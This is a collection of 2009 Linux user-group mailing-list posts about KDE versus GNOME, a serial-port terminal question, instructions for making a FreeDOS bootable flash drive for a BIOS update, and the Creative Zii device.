>> tech is much higher.  KDE is a desktop designed with the future in
>> mind, whereas GNOME is designed to introduce new users to GNU/Linux
>> and provide a simple, deathly easy to use desktop.
>
>   my trusted sources tend to corroborate those claims, so Im not going
> to argue.  Fact is though, Ubuntu chose Gnome.  Perhaps the next major
> distro to supercede Ubuntu will do so by adopting KDE.
>
>   -jmz
>
>>
>> KDE has akonadi, nepomuk, strigi, plasma GNOME has a largely
>> Python based interface that has, in my experience seemed dull and
>> introductory at best, nothing like KDE. Ever since the first time I
>> used KDE (Knoppix livecd running 3.5.4(?)
>>
>> On 7/31/09, Joshua Zeidner  wrote:
>>> On Fri, Jul 31, 2009 at 5:13 PM, Ryan Rix wrote:
>>>> On 7/31/09, Joshua Zeidner  wrote:
>>>>>   I switched from Kubuntu to Ubuntu... Ubuntu is more solid.
>>>>>
>>>>>   -jmz
>>>>
>>>> I don't get that at all, from the
>>>> internal-x-won't-start-kernel-problem-ohnoes standpoint this thread is
>>>> about, given that kubuntu == ubuntu + apt-get install kubuntu-desktop.
>>>>
>>>> And for that matter, since the last time you probably tried was when
>>>> KDE4 was still in its use and thus NATURALLY less stable than GNOME.
>>>
>>>   I would think that Ubuntu will continue to be more stable than
>>> Kubuntu as the difference is user base is quite drastic.
>>>
>>>   -jmz
>>>
>>>>
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sorry for the doublemail, kmail is giving me trouble, so I'm using
gmail's web interface, which is giving me more trouble. :(

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Re: Serial Port Terminal Emulation problems in Ubuntu

[Ryan Rix]

On Fri 31 July 2009 7:19:28 pm Lisa Kachold wrote:
> On 7/31/09, Jim March <1.jim.ma...@gmail.com> wrote:
> > Quoting:
> >>>sudo apt-get install pico<<
> >
> > If I'm reading this right, the editor in question resides on the box
> > he's diddling with, NOT the Ubuntu box.  So unless the router he's
> > configuring is running a Debian family OS (unlikely, right?) this
> > won't work :)
>
> His problem was stated as:
>
> --quote
>
> I am using Ubuntu at work, were connect to a Linux based Ether
> switch/router both by serial port and by telnet.
>
> ---end quote
>
> There are a great number of debian linux switches (like IpCop):
>
> But hey, thanks for not stereotyping me; I love being corrected just
> like one of the guys!

In that case; does he have root on the box(en) to do the install?

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Re: BAD kubuntu

[Ryan Rix]

On Fri 31 July 2009 8:07:17 pm Trent Shipley wrote:
> (Dell's site does recommend  
> updating the BIOS for my motherboard but their program won't run from  
> a CD and I couldn't figure out how to make a bootable DOS flash  
> drive)

WHY doesn't it run from CD? What type of tool -is- it?

I've made a few before DOS boot flashes before. The easiest way is, imo, 
http://www.fdos.org/bootdisks/ the OEM CD Builder assistant
http://www.fdos.org/bootdisks/ISO/FDOEMCD.builder.zip <-- direct link

1) Extract that.
2) Add the DOS file to CDBTDSK/
3) Edit AUTORUN.BAT to autostart the DOS file you added.
4) Run wine bfi.exe -t=3 -f=CDROOT\isolinux\BTDSK.IMG -l=FDOEM -b=BOOTSECT.FD 
CDBTDSK
I've yet to find a bfi for GNU/Linux though it sounds like the source /may/ be 
available from mkbtdsk.bat
5) Run mkisofs -o fdoem.iso -b isolinux/isolinux.bin -no-emul-boot -boot-load-
size 4 -boot-info-table -N -J -r -c boot.catalog -hide boot.catalog -hide-
joliet boot.catalog CDROOT
That's one command, I took it out of makeiso.bat in that zip file.
6) download UNetBootIn from http://unetbootin.sf.net
7) Fire it up, select the ISO image you've created (fdoem.iso) and your drive, 
and install the iso to your flash drive.
8) reboot and tell your BIOS to boot into that USB drive.
9) After Freedos loads, it will automatically run your BIOS utility.

I can't guarantee this will work on $hardware or $software, but I've done it 
before. I think the only variable is bfi, which may or may not work in wine. 
You /could/ try ReactOS or that other one in a VirtualBox/QEMU session, but 
YMMV FOR SURE!

Ryan

*disclaimer: This post may cause damage to your flashdrive. Back up the MBR of 
the drive as unetbootin will edit it to make it bootable. These directions 
worked for me, but will NOT work for you. if you are up to hacking on it, feel 
free, otherwise, I'm not really providing any support for it. This post may 
cause other damage, though I doubt it; if you manage to make this work in 
GNU/Linux, my congratulations, elsewise, you probably won't have a boot disk 
to work with at all, and no harm will be done, but I don't think I'm going to 
help you make it happen. I'm just giving you the tools.

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RE: Zii?

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Bob Elzer wrote:

> Drool...
> ..
>  o
>  ooo--__
> \..

It turns out that Zii is a subsidiary of Creative, the MP3 player company. 
So, I guess that the Zii may not be so much Vapourware as Developerware... 
Still an absolutely beautiful toy. I think I may get one, but 400$ for 
device+their plazma sdk is kinda steep. I'd just put android or debian on 
it, I think... 

Is it worth it? That thing sounds like a dream come true, and if that 
plaszma OS is FOSS (doesn't appear to be, 400$ sdk considered, and that it's 
not advertised as GNU/Linux) it gets even better.

Part of me is doing the same thing as Bob and then the other half of me is 
saying that I can get a better supported device that is just as 'cool' for 
same or cheaper price.

The processor seems highly proprietary, even though it's running Android. 
Anyone know -anything- about this device?

(btw, I'm sending this via GMane and nntp, so if the message is borked 
please let me know)

Ryan

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